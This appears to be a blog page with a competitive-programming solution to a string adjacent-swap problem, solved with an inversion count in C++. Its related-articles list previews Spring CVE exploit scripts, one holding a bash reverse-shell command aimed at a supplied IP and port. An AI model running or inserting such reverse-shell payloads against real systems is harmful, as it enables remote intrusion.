首页 > 编程语言 >2022年第十四届四川省大学生程序设计大赛 A

2022年第十四届四川省大学生程序设计大赛 A

时间:2023-05-24 17:13:03浏览次数:54  
标签:int s2 s1 ++ 第十四届 mp 2022 程序设计 size

A Adjacent Swapping
题意:

给定一个字符串,每次可以移动相邻字符,求最小移动次数可以把它变成s+s这样左右两边相同的字符串。

思路:
1:我们知道他一定是偶数长度,所以我们把字符串分成两部分s1和s2

2:贪心的扫描一遍这个字符串,s1就是前一半,然后计算在满足这一般的时候他要移动多少次,即直接往前移动就可以了

len = i-s1.size()

3:此时的s2就是剩下的数组,我们需要把s2变成s1,所以也就是求s2变成s1需要多少步,求步数这个思想类似于冒泡排序

4:我们根据冒泡排序的性质:对于任意两个数看他是否逆序即大数在前小数在后如果逆序则进行交换次数+1,那么我们就可以根据这个性质求出s2到s1通过树状数组或归并排序求逆序对求出步数

点击查看代码
#include <bits/stdc++.h>

using namespace std;
#define int long long
map<char,int>mp;
queue<int>q[30];
const int N = 1e6 + 10;
int d[N];
int lowbit(int x)
{
    return x&(-x);
}
void add(int x)
{
    for(;x<= N;x += lowbit(x))
        d[x]++;
}
int query(int x)
{
    int res = 0;
    for(;x;x-=lowbit(x))
        res += d[x];
    return res;
}
void solve()
{
    int n;
    cin >> n;
    string s;
    cin >> s;
    for(int i = 0;i < n;i ++)
    {
        mp[s[i]] ++;
    }
    
    for(auto [l,r]:mp)
    {
        mp[l] = r/2;
    }
    
    string s1,s2;
    int ans = 0;
    for(int i = 0;i < n;i ++)
    {
        if(mp[s[i]]!=0)
            s2+=s[i],mp[s[i]]--,ans += i+1-s2.size();
        else
            s1 += s[i];
    }
    for(int i = 0;i < s2.size();i ++)
    {
        q[s2[i]-'a'].push(i);
    }
    vector<int>num;
    for(int i = 0;i < s1.size();i ++)
    {
        num.push_back(q[s1[i]-'a'].front());
        q[s1[i]-'a'].pop();
    }
    for(int i = 0;i < num.size();i ++)
    {
        ans += query(n/2)-query(num[i]+1);
        add(num[i]+1);
    }
    cout << ans << '\n';
}
signed main()
{
    solve();
}

标签:int,s2,s1,++,第十四届,mp,2022,程序设计,size
From: https://www.cnblogs.com/ljm-xiada/p/17428908.html

相关文章

  • 蓝桥杯2022年第十三届决赛真题-斐波那契数组(动态规划)
    题目描述如果数组A=(a0,a1,···,an−1)满足以下条件,就说它是一个斐波那契数组:n≥2;a0=a1;对于所有的i(i≥2),都满足ai=ai−1+ai−2。现在,给出一个数组A,你可以执行任意次修改,每次修改将数组中的某个位置的元素修改为一个大于0的整数。请问最......
  • GB/T28181-2022针对H.265编码细化及技术实现
    技术背景新版国家标准GB/T28181-2022《公共安全视频监控联网系统信息传输、交换、控制技术要求》已于2022年12月30日发布,并将于2023年7月1日正式实施。国家标准GB/T28181-2022《公共安全视频监控联网系统信息传输、交换、控制技术要求》规定了公共安全视频监控联网系统(以下简称“联......
  • 编程打卡:面向对象程序设计
    #include<iostream>#include<iomanip>usingnamespacestd;constfloatPI=3.14159;classShape{public:virtualfloatarea()=0;};classCircle:publicShape{private:floatradius;public:Circle(floatr):radius(r){}......
  • 2022 暑 模板归纳
    目录手写栈队列广度优先级搜索并查集哈希一.手写栈栈的函数s.push(x)s.pop()s.top()s.size()s.empty()//手写栈intx,p=0;ints[10000005];voidpush(intx){s[++p]=x;return;}voidpop(){p--;return;}inttop(){......
  • CVE-2022-22980
    #CVE-2022-22980SpringDataMongoDBSpEL表达式注入importrequestsimporturllibimportbase64importargparsedefpoc(url,ip,prot):urll=f'{url}/?name='shell=f'/bin/bash-i>&/dev/tcp/{ip}/{prot}0>&1'shell=s......
  • CVE-2022-22965
    #CVE-2022-22965:Spring远程代码执行importrequestsimportargparseimporttimeimportreimportbase64importurllib.parseheader={"Accept-Encoding":"gzip,deflate","Accept":"*/*","Accept-Languag......
  • CVE-2022-22963
    #SpringCloudFunctionSpEL代码注入(CVE-2022-22963)importrequestsimportargparseimportbase64headers={"Accept-Encoding":"gzip,deflate","Accept":"*/*","User-Agent":"Mozilla......
  • CVE-2022-22947
    #CVE-2022-22947:SpringCloudGateway远程代码执行importrequestsimportjsonimportsysimportbase64importargparseimportreurl1='/actuator/gateway/routes/hacktest'url2='/actuator/gateway/refresh'url3='/actuator/gateway/routes/......
  • JOISC 2022 题解
    JOISC2022Day1监狱Jail首先我们发现操作一定是给所有人排序,然后按照顺序直接从\(s_i\)挪到\(t_i\),要求是对于\(i\),所有在它之前挪的\(t\)不能在\(s_i\tot_i\)上,所有在它之后挪的\(s\)不能在\(s_i\tot_i\)上。有了这个条件我们就可以\(O(n^2)\)建图。但是这样......
  • 在 Windows Server 2022 中,微软取消了一些以前的功能。以下是一些被取消的功能
    在WindowsServer2022中,微软取消了一些以前的功能。以下是一些被取消的功能:InternetStorageNameService(iSNS):iSNS是一个网络服务协议,为iSCSI设备提供自动发现和配置。在WindowsServer2022中,iSNS被取消了,建议使用其他的自动发现和配置方法。PeerNameResolu......